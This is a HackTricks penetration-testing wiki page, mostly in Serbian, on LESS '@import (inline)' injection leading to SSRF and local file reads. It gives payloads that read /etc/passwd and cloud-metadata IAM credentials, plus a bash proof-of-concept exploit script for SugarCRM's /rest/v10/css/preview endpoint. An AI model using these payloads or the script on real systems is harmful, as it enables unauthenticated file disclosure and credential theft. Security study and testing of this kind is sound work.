SSRF ranjive platforme

Reading time: 3 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Proverite https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/

LESS Code Injection leading to SSRF & Local File Read

LESS je popularan CSS pre-processor koji dodaje varijable, mixins, funkcije i moćnu @import direktivu. Tokom kompilacije LESS engine će fetch the resources referenced in @import statements i ubaciti ("inline") njihov sadržaj u rezultatni CSS kada se koristi (inline) opcija.

Kada aplikacija konkatenira user-controlled input u string koji kasnije parsira LESS compiler, napadač može inject arbitrary LESS code. Zloupotrebom @import (inline) napadač može primorati server da preuzme:

  • Local files via the file:// protocol (information disclosure / Local File Inclusion).
  • Remote resources on internal networks or cloud metadata services (SSRF).

Ova tehnika je viđena u realnim proizvodima kao što je SugarCRM ≤ 14.0.0 (/rest/v10/css/preview endpoint).

Exploitation

  1. Identifikujte parametar koji je direktno umetnut unutar stylesheet stringa koji obrađuje LESS engine (npr. ?lm= u SugarCRM).
  2. Zatvorite trenutnu izjavu i injektujte nove direktive. Najčešći primitivni simboli su:
  • ; – terminates the previous declaration.
  • } – closes the previous block (if required).
  1. Koristite @import (inline) '<URL>'; za čitanje proizvoljnih resursa.
  2. Opcionalno injektujte a marker (data: URI) nakon importa da olakšate izdvajanje preuzetog sadržaja iz kompajliranog CSS-a.

Local File Read

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

Sadržaj /etc/passwd biće prikazan u HTTP response-u neposredno pre markera @@END@@.

SSRF – Cloud Metadata

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

Automatski PoC (primer SugarCRM)

bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

Stvarni slučajevi

ProizvodRanljiv endpointUticaj
SugarCRM ≤ 14.0.0/rest/v10/css/preview?lm=Unauthenticated SSRF & local file read

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks